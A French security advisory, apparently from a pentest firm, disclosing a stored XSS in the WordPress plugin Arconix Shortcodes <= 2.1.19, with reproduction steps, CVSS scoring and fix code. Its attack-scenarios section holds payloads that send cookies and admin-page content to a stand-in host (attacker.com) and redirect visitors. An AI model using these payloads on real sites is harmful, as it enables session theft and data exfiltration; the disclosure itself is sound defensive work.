Arconix Shortcodes XSS <= 2.1.19 : vulnérabilité WordPress - Analyse sécurité
Vulnérabilité XSS stockée dans le plugin WordPress Arconix Shortcodes <= 2.1.19. Injection via attributs icon/icon_color. Analyse technique, PoC, exploitation et correctif.
Arconix Shortcodes <= 2.1.19: XSS via injection de données non échappées dans les attributs
> Découverte par Rooting Studio — Patch en attente — Priorité: faible
Résumé
- Logiciel: Arconix Shortcodes (plugin WordPress)
- Versions vulnérables: <= 2.1.19
- Gravité: Moyenne (CVSS 6.5)
- Type: Cross-Site Scripting (XSS) stockée
- Privilèges requis: Contributor (édition de contenu)
- Impact: Exécution de scripts malveillants dans le contexte du site
Description technique
Les attributs data-arconix-icon et data-arconix-color des shortcodes [tabs] sont injectés directement dans le HTML via JavaScript sans échappement approprié. Un attaquant avec des privilèges d'édition peut injecter du code JavaScript malveillant qui sera exécuté lorsque les visiteurs interagissent avec les onglets (par exemple, en survolant un onglet).
Vulnérabilité
Le plugin traite les attributs icon et icon_color du shortcode [tab] et les injecte dans des attributs HTML data-arconix-icon et data-arconix-color sans validation ni échappement suffisant. Cela permet de casser le contexte HTML et d'injecter du JavaScript arbitraire.
Reproduction
Cas principal: XSS via attribut icon
1. Installer Arconix Shortcodes 2.1.19
2. Se connecter avec des privilèges Contributor ou plus
3. Créer un article et insérer:
[tabs][tab title="t" icon='x" onmouseenter="alert(1)"' icon_color='y']c[/tab][/tabs]4. Publier et visiter la page
5. Survoler l'onglet: l'alerte s'exécute (XSS confirmée)
Cas supplémentaire: XSS via shortcode toggle
[toggle title="t"]<img src=x onerror=alert(1)>[/toggle]Preuve de concept visuelle
Lors de la reproduction, on observe:
- L'injection réussie dans les attributs
data-arconix-iconetdata-arconix-color - L'exécution du JavaScript lors de l'interaction utilisateur (survol)
- L'alerte s'affiche confirmant la vulnérabilité XSS
Impact
- Exécution de scripts malveillants: Un attaquant peut injecter du JavaScript qui s'exécute dans le contexte du site
- Vol de cookies: Possibilité de voler les cookies de session des utilisateurs
- Redirections malveillantes: Redirection vers des sites malveillants
- Injection de publicités: Affichage de publicités non désirées
- Modification du contenu: Altération du contenu visible par les visiteurs
Scénarios d'attaque
- Vol de session:
icon='x" onmouseenter="document.location=\'http://attacker.com/steal?c=\'+document.cookie"'- Exfiltration de données:
icon='x" onmouseenter="fetch(\'/wp-admin/\',{credentials:\'include\'}).then(r=>r.text()).then(d=>fetch(\'http://attacker.com\',{method:\'POST\',body:d}))"'- Redirection malveillante:
icon='x" onmouseenter="document.location=\'http://malicious-site.com\'"'Évaluation CVSS v3.1
- Score: 6.5 (Moyenne)
- Vecteur: AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Justification:
- Accès réseau requis (AV:N)
- Complexité faible (AC:L)
- Privilèges bas requis (PR:L - Contributor)
- Interaction utilisateur requise (UI:R - survol)
- Impact limité sur la confidentialité et l'intégrité (C:L/I:L)
Mitigation immédiate
- Mettre à jour le plugin dès qu'un correctif sera disponible (version > 2.1.19)
- Restreindre l'usage des shortcodes aux rôles de confiance uniquement
- Auditer le contenu existant pour détecter d'éventuelles injections déjà présentes
- Mettre en place un Content Security Policy (CSP) pour limiter l'exécution de scripts inline
Correctif recommandé (pour l'éditeur)
Échappement approprié des attributs
Les données utilisateur doivent être correctement échappées avant d'être injectées dans le HTML:
// ❌ Avant (vulnérable)
element.setAttribute('data-arconix-icon', iconValue);
element.setAttribute('data-arconix-color', colorValue);
// ✅ Après (sécurisé)
element.setAttribute('data-arconix-icon', escapeHtml(iconValue));
element.setAttribute('data-arconix-color', escapeHtml(colorValue));
// Ou mieux, utiliser textContent pour éviter l'injection
const iconElement = document.createElement('span');
iconElement.textContent = iconValue;
iconElement.setAttribute('data-arconix-icon', sanitizeIcon(iconValue));Validation côté serveur
- Valider et sanitizer les attributs avant traitement
- Utiliser des fonctions WordPress comme
esc_attr()ousanitize_text_field() - Limiter les caractères autorisés dans les attributs icon et icon_color
- Rejeter toute entrée contenant des caractères spéciaux HTML/JavaScript
Exemple de correctif PHP
// ❌ Avant
$icon = $atts['icon'];
$icon_color = $atts['icon_color'];
// ✅ Après
$icon = isset($atts['icon']) ? esc_attr(sanitize_text_field($atts['icon'])) : '';
$icon_color = isset($atts['icon_color']) ? esc_attr(sanitize_text_field($atts['icon_color'])) : '';
// Validation supplémentaire: rejeter si contient des caractères dangereux
if (preg_match('/[<>"\']/', $icon) || preg_match('/[<>"\']/', $icon_color)) {
return ''; // Rejeter le shortcode si contenu suspect
}Contexte et conformité
À partir du Q4 2024, le Cyber Resilience Act (CRA) introduit des obligations de divulgation des vulnérabilités dans l'Union Européenne. Les éditeurs de logiciels commerciaux doivent disposer d'un processus de Vulnerability Disclosure Program (VDP) pour gérer les signalements de sécurité.
Cette vulnérabilité a été signalée le 7 octobre 2025 et publiée le 1er décembre 2025 par Patchstack.
Références
- OWASP Top 10 — A03: Injection
- OWASP XSS Prevention Cheat Sheet
- WordPress Data Validation
- Cyber Resilience Act (CRA)
Timeline
- 7 octobre 2025: Vulnérabilité signalée par Rooting Studio
- 4 novembre 2025: Publication initiale
- 1er décembre 2025: Publication publique par Patchstack
—
Pour tester les vulnérabilités XSS dans vos applications WordPress, découvrez notre **guide complet du pentest web** qui explique comment identifier les injections avec la méthodologie OWASP.
Besoin d'évaluer la sécurité de votre site WordPress ? Découvrez notre **pentest web** (OWASP, rapports actionnables, re-tests inclus).
Articles similaires
CVE-2025-55182 (React2Shell) : Vulnérabilité critique dans React Server Components
Vulnérabilité critique CVE-2025-55182 (React2Shell) permettant l'exécution de code arbitraire à distance dans React Server Components. Mise à jour urgente requise pour Next.js, Expo, React Router et autres frameworks.
Alternance et cybersécurité : réussir son entrée dans le métier
Guide complet pour réussir son alternance en cybersécurité : recherche, candidature, intégration, développement de compétences et conversion en CDI.
Multiples vulnérabilités critiques dans Cisco ASA et FTD - Exploitations actives
Alertes CERT-FR : Vulnérabilités critiques CVE-2025-20333 et CVE-2025-20362 dans Cisco ASA et FTD activement exploitées. Contournement d'authentification et exécution de code arbitraire à distance. Mise à jour urgente requise.